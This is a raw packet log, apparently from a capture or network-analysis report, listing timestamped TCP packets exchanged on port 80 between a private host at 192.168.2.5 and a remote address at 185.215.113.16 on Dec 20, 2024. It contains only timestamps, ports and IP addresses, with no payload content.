Dec 20, 2024 02:11:11.290767908 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.290844917 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.290926933 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.291742086 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.291802883 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.291855097 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.291908979 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.292790890 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.292859077 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.292898893 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.292953014 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.293816090 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.293874979 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.293940067 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.293996096 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.294848919 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.294913054 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.294953108 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.295006990 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.295880079 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.295938015 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.296004057 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.296056032 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.296956062 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.297024012 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.297054052 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.297110081 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.297966957 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.298018932 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.298058033 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.298110962 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.299025059 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.299079895 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.299213886 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.299264908 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.300024986 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.300084114 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.300093889 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.300151110 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.301084042 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.301150084 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.301184893 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.301239967 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.302123070 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.302195072 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.302229881 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.302284956 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.303175926 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.303234100 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.303272963 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.303353071 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.304193974 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.304250956 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.304398060 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.304450989 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.305238962 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.305299044 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.305408001 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.305461884 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.306274891 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.306337118 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.306356907 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.306410074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.307276964 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.307354927 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.307391882 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.307446957 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.308422089 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.308480024 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.308552980 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.308608055 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.309391022 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.309459925 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.309501886 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.309550047 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.310422897 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.310489893 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.310523987 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.310576916 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.311455011 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.311516047 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.311568022 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.311625004 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.312494993 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.312550068 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.312704086 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.312756062 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.313535929 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.313590050 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.313616991 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.313668966 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.314589024 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.314642906 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.314846992 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.314912081 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.315624952 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.315680027 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.315718889 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.315772057 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.316648960 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.316703081 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.316761971 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.316813946 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.317725897 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.317784071 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.317835093 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.317887068 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.318721056 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.318775892 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.318829060 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.318883896 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.319780111 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.319835901 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.319921970 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.319973946 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.320799112 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.320867062 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.320869923 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.320930958 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.321820974 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.321877956 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.321923018 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.321979046 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.322855949 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.322912931 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.323000908 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.323054075 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.323961020 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.324023008 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.324062109 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.324116945 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.324939013 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.324992895 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.325084925 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.325139999 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.325989962 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.326040030 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.326045036 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.326092958 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.327039003 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.327092886 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.327132940 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.327184916 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.328104973 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.328159094 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.328198910 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.328253031 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.329099894 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.329154015 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.329263926 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.329315901 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.330176115 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.330239058 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.330277920 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.330328941 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.331168890 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.331231117 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.331269979 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.331343889 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.332214117 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.332267046 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.332304955 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.332359076 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.333278894 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.333329916 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.333340883 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.333388090 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.334275007 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.334326029 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.334414005 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.334465027 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.335345984 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.335401058 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.335434914 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.335484982 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.336360931 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.336426020 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.336461067 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.336515903 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.337393045 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.337457895 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.337496996 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.337549925 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.338471889 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.338527918 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.338618994 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.338671923 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.339481115 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.339535952 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.339610100 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.339662075 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.340528011 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.340576887 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.340657949 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.340708971 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.341485023 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.341550112 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.479536057 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.479584932 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.479609013 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.479650021 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.479959011 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.480062008 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.480216980 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.480272055 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.480946064 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.481004953 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.481044054 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.481096983 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.481972933 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.482036114 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.482055902 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.482101917 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.483038902 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.483093977 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.483212948 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.483264923 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.484069109 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.484112024 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.484121084 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.484169006 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.485097885 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.485157013 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.485193014 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.485251904 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.486176014 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.486227036 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.486263037 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.486624002 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.487204075 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.487255096 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.487322092 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.487371922 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.488234043 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.488310099 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.488322020 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.488368988 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.489242077 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.489293098 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.489348888 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.489471912 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.490272045 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.490329027 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.490384102 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.490434885 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.491322041 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.491375923 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.491414070 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.491463900 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.492351055 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.492412090 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.492449999 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.492502928 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.493396044 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.493449926 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.493489027 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.493542910 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.494427919 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.494492054 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.494530916 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.494586945 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.495505095 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.495560884 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.495604992 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.495660067 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.496512890 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.496560097 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.496568918 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.496608973 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.497562885 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.497616053 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.497662067 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.497714996 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.498614073 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.498673916 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.498712063 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.498764038 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.499617100 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.499675035 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.499761105 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.499811888 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.500678062 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.500737906 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.500771999 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.500818968 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.501703024 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.501764059 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.501802921 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.501849890 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.502727985 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.502782106 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.502820969 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.502872944 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.503765106 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.503818035 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.503861904 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.503914118 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.504806042 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.504859924 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.504894018 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.504945993 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.505861044 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.505913973 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.505949020 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.506001949 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.506882906 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.506934881 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.506994963 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.507045031 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.507910967 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.507965088 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.508034945 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.508100033 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.508933067 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.509001017 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.509073973 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.509124041 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.510005951 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.510057926 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.510072947 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.510122061 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.511035919 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.511086941 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.511147022 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.511194944 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.512079954 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.512131929 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.512166977 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.512221098 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.513134956 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.513200045 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.513250113 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.513300896 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.514157057 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.514209986 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.514244080 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.514293909 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.515206099 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.515259027 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.515901089 CET	80	49831	185.215.113.16	192.168.2.5
